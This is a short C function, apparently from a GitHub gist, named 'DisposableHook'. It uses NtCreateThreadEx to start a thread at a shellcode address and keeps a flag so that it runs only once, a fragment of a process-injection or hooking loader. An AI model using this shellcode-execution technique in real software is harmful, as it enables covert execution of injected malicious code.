void DisposableHook(LPVOID shellcodeAddr, char *threadCreated) { | |
NTSTATUS status; | |
HANDLE tHandle = NULL; | |
OBJECT_ATTRIBUTES objAttr = { sizeof(objAttr) }; | |
if (InterlockedExchange8((CHAR*)threadCreated, 1) == 1) //avoid recursion + check if another thread already run DisposableHook function | |
return; | |
status = NtCreateThreadEx(&tHandle, GENERIC_EXECUTE, &objAttr, (HANDLE)-1, (LPVOID)shellcodeAddr, NULL, FALSE, 0, 0, 0, NULL); | |
if (status != 0) | |
InterlockedExchange8((CHAR*)threadCreated, 0); //thread creation failed, reset flag | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment